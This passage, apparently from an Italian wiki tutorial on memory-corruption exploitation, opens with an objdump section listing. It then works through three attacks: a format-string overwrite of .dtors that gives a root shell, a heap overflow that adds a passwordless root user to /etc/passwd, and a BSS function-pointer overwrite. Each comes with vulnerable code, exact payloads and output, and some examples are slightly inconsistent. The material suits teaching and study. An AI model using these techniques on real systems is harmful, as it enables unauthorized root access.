Idx Name          Size      VMA       LMA       File off  Algn

  0 .interp       00000013  08048114  08048114  00000114  2**0

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  1 .note.ABI-tag 00000020  08048128  08048128  00000128  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  2 .hash         00000034  08048148  08048148  00000148  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  3 .dynsym       00000080  0804817c  0804817c  0000017c  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  4 .dynstr       0000006c  080481fc  080481fc  000001fc  2**0

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  5 .gnu.version  00000010  08048268  08048268  00000268  2**1

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  6 .gnu.version_r 00000020  08048278  08048278  00000278  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  7 .rel.dyn      00000008  08048298  08048298  00000298  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  8 .rel.plt      00000020  080482a0  080482a0  000002a0  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

  9 .init         00000017  080482c0  080482c0  000002c0  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, CODE

 10 .plt          00000050  080482d8  080482d8  000002d8  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, CODE

 11 .text         00000240  08048330  08048330  00000330  2**4

                  CONTENTS, ALLOC, LOAD, READONLY, CODE

 12 .fini         0000001b  08048570  08048570  00000570  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, CODE

 13 .rodata       0000001c  0804858c  0804858c  0000058c  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

 14 .eh_frame     00000004  080485a8  080485a8  000005a8  2**2

                  CONTENTS, ALLOC, LOAD, READONLY, DATA

 15 .ctors        00000008  080495ac  080495ac  000005ac  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 16 .dtors        00000008  080495b4  080495b4  000005b4  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 17 .jcr          00000004  080495bc  080495bc  000005bc  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 18 .dynamic      000000c8  080495c0  080495c0  000005c0  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 19 .got          00000004  08049688  08049688  00000688  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 20 .got.plt      0000001c  0804968c  0804968c  0000068c  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 21 .data         00000010  080496a8  080496a8  000006a8  2**2

                  CONTENTS, ALLOC, LOAD, DATA

 22 .bss          00000004  080496b8  080496b8  000006b8  2**2

                  ALLOC

 23 .comment      0000007e  00000000  00000000  000006b8  2**0

                  CONTENTS, READONLY

 24 .debug_aranges 00000078  00000000  00000000  00000738  2**3

                  CONTENTS, READONLY, DEBUGGING

 25 .debug_pubnames 00000025  00000000  00000000  000007b0  2**0

                  CONTENTS, READONLY, DEBUGGING

 26 .debug_info   000009ca  00000000  00000000  000007d5  2**0

                  CONTENTS, READONLY, DEBUGGING

 27 .debug_abbrev 00000138  00000000  00000000  0000119f  2**0

                  CONTENTS, READONLY, DEBUGGING

 28 .debug_line   0000023a  00000000  00000000  000012d7  2**0

                  CONTENTS, READONLY, DEBUGGING

 29 .debug_str    00000674  00000000  00000000  00001511  2**0

                  CONTENTS, READONLY, DEBUGGING

Come si può vedere la sezione .dtors non è marcata READONLY. Ora ci dobbiamo procurare l' indirizzo di questa funzione. Possiamo farlo con un' altra utility di linux: nm Questa mostra la lista dei simboli e relativi indirizzi di un file oggetto.

[email protected]:~# nm ./frm_vuln | grep DTOR

080495b8 d __DTOR_END__

080495b4 d __DTOR_LIST__

Siamo interessati all' indirizzo più alto dei due, quello di __DTOR_END__. Qui dovremo scrivere il nostro indirizzo arbitrario, in modo che all' uscita dal main, quando il programma chiama la funzione distruttore sulla exit, salti al nostro codice. Ma dove possiamo mettere il nostro codice in modo da trovare facilmente l' indirizzo? In una variabile d' ambiente per esempio. Supponiamo di usare lo shellcode già utilizzato nell' exploit relativo al buffer overflow possiamo inserirlo in una variabile d' ambiente con:

[email protected]:~# export SHELLCODE=`cat shellcode`

[email protected]:~# ./getenvaddr SHELLCODE

SHELLCODE is located in : 0xbffffa41

A questo indirizzo bisogna aggiungere 4, sempre per il fatto che getenvaddr e frm_vulm, nei nomi, si differiscono di due byte ( si è visto che l' indirizzo della variabile d' ambiente diminuisce di due per ogni aumento di un carattere nel nome ), quindi l' indirizzo che dovremmo ottenere sarà: 0xbffffa45

[email protected]:~# ./frm_vuln `printf "\xb8\x95\x04\x08\xb9\x95\x04\x08\xba\x95\x04\x08

\xbb\x95\x04\x08"`%3\$53x%4\$n%3\$181x%5\$n%3\$261x%6\$n%3\$192x%7\$n

							40133ff4



								40133ff4







40133ff4



					40133ff4

80496b4 = -72 ffffffb8

sh:~#



Abbiamo ottenuto una shell di root sovrascrivendo l' indirizzo della sezione .dtors

Heap overflow

L' Heap overflow è una scoperta più recente rispetto all' overflow riguardante lo stack,e riguarda appunto l' area dell' heap, cioè dove vengono allocate le variabili puntatore. Il punto fondamentale è sempre lo stesso: su una variabile sulla quale non è stato previsto un controllo sulla dimensione, è possibile mettere più dati di quelli che questa possa contenere, andando a sovrascrivere altre aree di memoria. In questo caso, però, abbiamo a che fare con il puntatore alla variabile. Se un puntatore di funzione viene memorizzato dopo un buffer suscettibile di overflow, esso può essere sovrascritto, in modo da fare eseguire al programma un indirizzo di memoria differente.

Esempio di vulnerabilità

Consideriamo il seguente sorgente:

#include <stdio.h>

#include <stdlib.h>

int main(int argc, char *argv[]){


	FILE *fp;	

	char *infile = malloc(20);

	char *outfile = malloc(20);

	strcpy(outfile,"/root/notes");

	strcpy(infile,argv[1]);

	printf("INFILE   @ %p: %s\n",infile,infile);

	printf("OUTFILE  @ %p: %s\n",outfile,outfile);

	printf("DISTANCE     : %d\n",outfile - infile);

	printf("write %s to %s\n",infile,outfile);

	fp = fopen(outfile,"a");

	fprintf(fp,"%s\n",infile);

	fclose(fp);

	return 0;


	}

Questo è un semplice programmino che creà un il file notes e gli scrive dentro la stringa passatagli come argomento da linea di comando. Il problema sta nel primo puntatore a carattere ( infile ), infatti andando a scrivere piu di 20 byte da linea di comando si andrà a scrivere su infile, e i byte in eccesso saranno scritti su outfile che è il nome del file. Quindi, ad esempio, mettendo un argomento fatto ad arte, da linea di comando sarebbe possibile aggiungere qualcosa al file /etc/passwd ... Proviamo a mandare in esecuzione il programma di sopra passandogli 20 byte:

[email protected]:~# ./heap_vuln 01234567890123456789

INFILE   @ 0x8049880: 01234567890123456789

OUTFILE  @ 0x8049898: /root/notes

DISTANCE            : 24

write 01234567890123456789 to /root/notes

come si può vedere tra infile e outfile ci sono 24 bit di differenza, quindi, considerando che la stringa deve terminare con il byte null, affinchè si abbia un funzionamento corretto del programma si può fornire come input un massimo di 23 byte. Mettendone 24 invece si otterrà lo straripamento del byte null su outfile.

[email protected]:~# ./heap_vuln 012345678901234567890123

INFILE   @ 0x8049880: 012345678901234567890123

OUTFILE  @ 0x8049898:

DISTANCE            : 24

write 012345678901234567890123

Segmentation fault

Si ottiene un Segmentation fault, perchè, come detto prima, il buffer outfile è rapresentato dal solo byte null, che non si può aprire come file.

Profit

Vediamo ora come si può sfruttare questa vulnerabilità. Supponiamo ad esempio di voler aggiungere una riga al file /etc/passwd per aggiungere un utente root ( naturalmente tutto questo discorso è valido se il programma vulnerabile è suid ) che abbia l' accesso senza la richiesta di password. Quello che vogliamo fare è costruirci l' argomento da linea di comando. Proviamo ad eseguire il programma in questo modo:

[email protected]:~# ./heap_vuln 012345678901234567890123/root/prova.txt

INFILE    @ 0x8049880: 012345678901234567890123/root/prova.txt

OUTFILE   @ 0x8049898: /root/prova.txt

DISTANCE             : 24

write 012345678901234567890123/root/prova.txt to /root/prova.txt

In questo modo siamo riusciti a creare il file /root/prova.txt e a scrivere la stringa 012345678901234567890123/root/prova.txt dentro ad esso, che non era proprio l' obiettivo per il quale era stato fatto il programmino. Ma noi siamo interessati a scrivere su /etc/passwd una stringa del tipo:

root::0:0:ska:/root/:/bin/bash

Tra i due duepunti consecutivi di solito sarebbe presente una 'x' che indica che la password è criptata e memorizzata in un altro file: file shadow. Purtroppo non possiamo scrivere una stringa del genere, perchè l' argomento che dobbiamo passare deve essere /etc/passwd, ma in questo modo rischieremmo di scrivere nel file /etc/passwd qualcosa del tipo:

root::0:0:ska:/root/:/bin/bash/etc/passwd

che sarebbe scoretto è non utilizzabile. Quindi abbiamo bisogno di un espediente per aggirare il problema. Possiamo fare questo utilizzando un link simbolico in modo che la voce che andremo a scrivere sul file passwd possa finire con /etc/passwd senza risultare inutilizzabile.

[email protected]:~# mkdir /tmp/etc

[email protected]:~# ln -s /bin/bash /tmp/etc/passwd

ora possiamo utilizzare senza alcun problema la stringa:

newroot::0:0:ska:/root/:/tmp/etc/passwd

Dobbiamo considerare solo un ultimo problema è cioè che la stringa:

newroot::0:0:ska/root/:/tmp

deve risultare di 24 bit, controlliamo:

[email protected]:~# echo -n "newroot::0:0:ska:/root/:/tmp" | wc

        0           1      26

dobbiamo levare 2 byte dalla stringa:

[email protected]:~# ./heap_vuln xroot::0:0:ska:/root/:/tmp

INFILE    @ 0x8049880 : newroot::0:0:ska:/root/:/tmp/etc/passwd

OUTFILE   @ 0x8049898 : /etc/passwd

DISTANCE              : 24

write xroot::0:0:ska:/root/:/tmp/etc/passwd to /etc/passwd

Siamo riusciti ad aggiungere al file passwd una voce valida che permette di accedere con i privileggi di root senza password.

BSS overflow

In questa sezione è trattato l' overflow nella sezione BSS, cioè l' area in cui vengono messe le variabili static e/o non inizializzate del programma. Supponiamo ad esempio di avere il seguente sorgente:

#include <stdio.h>

int work();

int nowork();

int work(){

	char welcome[] = "WELCOME, I WORK";

	printf("%s\n",welcome);

	return 0;	

	}

int nowork(){

	char test[] = "HEY, I DON'T WORK!!!";

	printf("%s\n",test);

	return 0;

	}

int main(int argc, char *argv[]){

	static char buffer[20];

	static int (*victim)();

	victim=work;	

	printf("Before strcpy() %p:%p\n",&victim,victim);

	strcpy(buffer,argv[1]);

	printf("Buffer %p:%s\n",buffer,buffer);

	printf("After strcpy() %p:%p\n",&victim,victim);

	victim();

	return 0;

	}

Il problema in questo caso nasce dal buffer dichiarato in modo statico situato prima del puntatore anch' esso dichiarato in modo statico. Quindi essendo entrambi statici e non inizializzati, si troveranno nell' area BSS.

Sfruttare la vulnerbilità

Naturalmente l' esempio visto nell' introduzione è un semplice programma fatto ad-hoc per studiare il problema. Sostanzialmente, ci sono due funzioni "work" e "nowork", la prima delle quale viene richiamata nel main tramite il puntatore a funzione victim, mentre la seconda funzione non viene richiamata in nessun posto. Il nostro scopo è appunto cercare di far eseguire questa funzione anche se non è stata previsto nel programma. Proviamo a far eseguire il programma:

[email protected]:~# ./bss_vuln AAAAAAAAAAAAAAAAAAAA

Before strcpy() 0x8049760:0x080483c4

Buffer 0x0804974c:AAAAAAAAAAAAAAAAAAAA

After strcpy() 0x08049760:0x080483c4

WELCOME, I WORK

come si può vedere dalle istruzioni di debug inserite nel programma, sipuò vedere che buffer è distanziato dal puntatore a funzione di 20 byte. Quindi se proviamo ad inserire più di 20 byte ( più della capacità del buffer ) si sovrascriverà il puntatore a funzione. Vediamo:

[email protected]:~# ./bss_vuln AAAAAAAAAAAAAAAAAAAAABCD

Before strcpy() 0x08049760:0x080483c4

Buffer 0x0804974c:AAAAAAAAAAAAAAAAAAAAABCD

After strcpy() 0x08049760:0x44434241

Segmentation fault

Si può vedere che il valore del puntatore non è più 0x080483c4, ma 0x44434241, cioè è stato sovrascritto con il codice esadecimale di ABCD che vengono messi in modo inverso a causa dell' ordinamento little endian, e che naturalmente causano un segmentation fault visto che 0x44434241 non è un indirizzo valido. Proviamo allora con un indirizzo valido. Per fare questo cerchiamo di individuare l' indirizzo della funzione "nowork" con l' utility nm:

[email protected]:~# nm bss_vuln



08049658 D _DYNAMIC

08049724 D _GLOBAL_OFFSET_TABLE_

080485e0 R _IO_stdin_used

         w _Jv_RegisterClasses

08049648 d __CTOR_END__

08049644 d __CTOR_LIST__

08049650 d __DTOR_END__

0804964c d __DTOR_LIST__

08048640 r __FRAME_END__

08049654 d __JCR_END__

08049654 d __JCR_LIST__

08049748 A __bss_start

0804973c D __data_start

08048590 t __do_global_ctors_aux

08048350 t __do_global_dtors_aux

08049740 D __dso_handle

08049644 A __fini_array_end

08049644 A __fini_array_start

         w __gmon_start__

08048580 T __i686.get_pc_thunk.bx

08049644 A __init_array_end

08049644 A __init_array_start

08048530 T __libc_csu_fini

080484d0 T __libc_csu_init

         U [email protected]@GLIBC_2.0

08049748 A _edata

08049764 A _end

080485c0 T _fini

080485dc R _fp_hw

080482a0 T _init

08048300 T _start

0804974c b buffer.0

08048324 t call_gmon_start

08049748 b completed.1

0804973c W data_start

08048390 t frame_dummy

08048440 T main

08048405 T nowork

08049744 d p.0

         U [email protected]@GLIBC_2.0

         U [email protected]@GLIBC_2.0

08049760 b victim.1

080483c4 T work

L' indirizzo della funzione nowork è 0x08048405, quindi sovrascrivendo il valore del puntatore con questo indirizzo otterremo l' esecuzione della funzione nowork, anzichè di work.

[email protected]:~# .bss_vuln AAAAAAAAAAAAAAAAAAAA'printf "\x05\x84\x04\x08"'

Before strcpy() 0x08049760:0x080483c4

Buffer 0x0804974c:AAAAAAAAAAAAAAAAAAAA

After strcpy() 0x08049760:0x08048405

HEY, I DON'T WORK!!!

Siamo riusciti a far eseguire al programma una funzione per la quale non era prevista l' esecuzione, cioè siamo riusciti a redirezzionare il flusso del programma. Tutto questo si potrebbe sfruttare anche per far eseguire al programma vulnerabile una shell, infatti, come nel caso visto per il format string, si potrebbe mettere uno shellcode in una variabile di ambiente, individuare il suo indirizzo e sovrascrivere con questo il contenuto del puntatore.

Tools

Exploit Generator

Con questo tool [1] si può generare un exploit semplicemente.

Template:H:f Template:H:f